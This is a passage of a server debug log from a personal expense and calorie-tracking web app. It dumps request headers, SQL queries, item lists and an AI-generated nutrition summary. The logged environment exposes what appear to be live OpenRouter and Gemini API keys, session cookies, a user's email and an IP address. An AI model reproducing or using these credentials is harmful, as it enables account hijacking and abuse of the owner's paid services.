    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.843Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-22T04:20:49.748Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-22T04:20:49.749Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-22T04:20:49.749Z server-connect:app Executing action step identify
2025-12-22T04:20:49.749Z server-connect:app options: { provider: 'security' }
2025-12-22T04:20:49.749Z server-connect:output identity: 1
2025-12-22T04:20:49.750Z server-connect:app Executing action step restrict
2025-12-22T04:20:49.750Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T04:20:49.750Z server-connect:app Executing action step identify
2025-12-22T04:20:49.750Z server-connect:app options: { provider: 'security' }
2025-12-22T04:20:49.750Z server-connect:output identity: 1
2025-12-22T04:20:49.750Z server-connect:app Executing action step restrict
2025-12-22T04:20:49.750Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T04:20:49.750Z server-connect:output restrict: undefined
2025-12-22T04:20:49.750Z server-connect:app Executing action step select
2025-12-22T04:20:49.751Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-22T04:20:49.752Z server-connect:output restrict: undefined
2025-12-22T04:20:49.752Z server-connect:app Executing action step single
2025-12-22T04:20:49.752Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-22T04:20:49.757Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-22T04:20:49.758Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-22T04:20:52.697Z server-connect:router Serving templateView /calorie-tracker
2025-12-22T04:20:52.697Z server-connect:app Executing action step identify
2025-12-22T04:20:52.697Z server-connect:app options: { provider: 'security' }
2025-12-22T04:20:52.698Z server-connect:output identity: 1
2025-12-22T04:20:52.698Z server-connect:app Executing action step restrict
2025-12-22T04:20:52.698Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T04:20:52.698Z server-connect:output restrict: undefined
2025-12-22T04:20:52.698Z server-connect:router Render template calorie-tracker
2025-12-22T04:20:52.699Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.843Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-22T04:20:52.939Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-22T04:20:52.939Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-22T04:20:52.939Z server-connect:app Executing action step identify
2025-12-22T04:20:52.939Z server-connect:app options: { provider: 'security' }
2025-12-22T04:20:52.940Z server-connect:output identity: 1
2025-12-22T04:20:52.940Z server-connect:app Executing action step restrict
2025-12-22T04:20:52.940Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T04:20:52.940Z server-connect:app Executing action step identify
2025-12-22T04:20:52.940Z server-connect:app options: { provider: 'security' }
2025-12-22T04:20:52.940Z server-connect:output identity: 1
2025-12-22T04:20:52.941Z server-connect:app Executing action step restrict
2025-12-22T04:20:52.941Z server-connect:app options: { provider: 'security' }
2025-12-22T04:20:52.941Z server-connect:output restrict: undefined
2025-12-22T04:20:52.941Z server-connect:app Executing action step single
2025-12-22T04:20:52.941Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-22T04:20:52.941Z server-connect:output restrict: undefined
2025-12-22T04:20:52.942Z server-connect:app Executing action step single
2025-12-22T04:20:52.942Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-22T04:20:52.943Z server-connect:output summary: {
  summary: {
    rating: 5,
    summary: "Today's food intake appears to be focused on post-workout recovery with a protein source and a carbohydrate-rich meal. The inclusion of a banana and pre-workout is appropriate for energy. However, the overall meal composition lacks diversity and may not fully support muscle development and fat loss goals without additional nutrient-dense foods throughout the day. Consistency in this pattern might lead to slow progress.",
    bad_points: [
      'Limited variety in food choices for the day.',
      'Potential lack of sufficient fiber and micronutrients.',
      'Meal timing seems heavily concentrated around the workout.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout for muscle recovery.',
      'Consumption of a banana for quick energy.',
      'Pre-workout supplement use for gym performance.'
    ],
    suggestions: [
      'Incorporate more vegetables and diverse protein sources throughout the day.',
      'Ensure adequate hydration by drinking plenty of water.',
      'Consider adding healthy fats to meals for satiety and nutrient absorption.',
      'Distribute protein intake more evenly across meals.'
    ],
    predicted_weight: 69.6,
    predicted_weight_trend: 'gradual decrease'
  },
  date: '2025-12-21T18:30:00.000Z'
}
2025-12-22T04:20:52.944Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-22T04:20:52.944Z server-connect:app Executing action step select
2025-12-22T04:20:52.944Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-22T04:20:52.946Z server-connect:output item_list: [
  {
    id: 478,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium',
    replacements: 'Berries (strawberries, blueberries),Apple slices,Cucumber',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Good source of quick energy and potassium for pre-workout.'
  },
  {
    id: 479,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Designed to boost energy and performance for workouts. Calories are usually minimal.'
  },
  {
    id: 480,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, similar calories),Egg whites (lower fat, more volume)',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development and recovery, especially post-workout.'
  },
  {
    id: 481,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Wheat Semolina Pasta (homemade)',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 1,
    quantity: '1 serving (approx 100g cooked)',
    replacements: 'Zucchini noodles,Shirataki noodles,Whole wheat pasta (slightly more fiber, similar calories)',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 2,
    skip_reason: 'Provides carbohydrates for energy, but refined semolina can be replaced with whole wheat for more fiber and sustained energy. For muscle development, carbs are important, but quality matters.'
  },
  {
    id: 482,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Matar (Green Peas)',
    calories: 40,
    protein_gm: 3,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: 'Mixed with pasta (approx 50g)',
    replacements: 'Spinach,Broccoli,Cauliflower',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Good source of fiber, vitamins, and some plant-based protein. Excellent addition to a meal.'
  }
]
2025-12-22T04:20:52.946Z server-connect:app Executing action step setvalue
2025-12-22T04:20:52.946Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-22T04:20:52.946Z server-connect:output var_total: 425
2025-12-22T04:20:52.946Z server-connect:app Executing action step setvalue
2025-12-22T04:20:52.946Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-22T04:20:52.947Z server-connect:output var_consumed: 18
2025-12-22T04:20:52.947Z server-connect:app Executing action step setvalue
2025-12-22T04:20:52.947Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-22T04:20:52.947Z server-connect:output var_deficit: 1975
2025-12-22T04:20:52.947Z server-connect:app Executing action step custom
2025-12-22T04:20:52.947Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
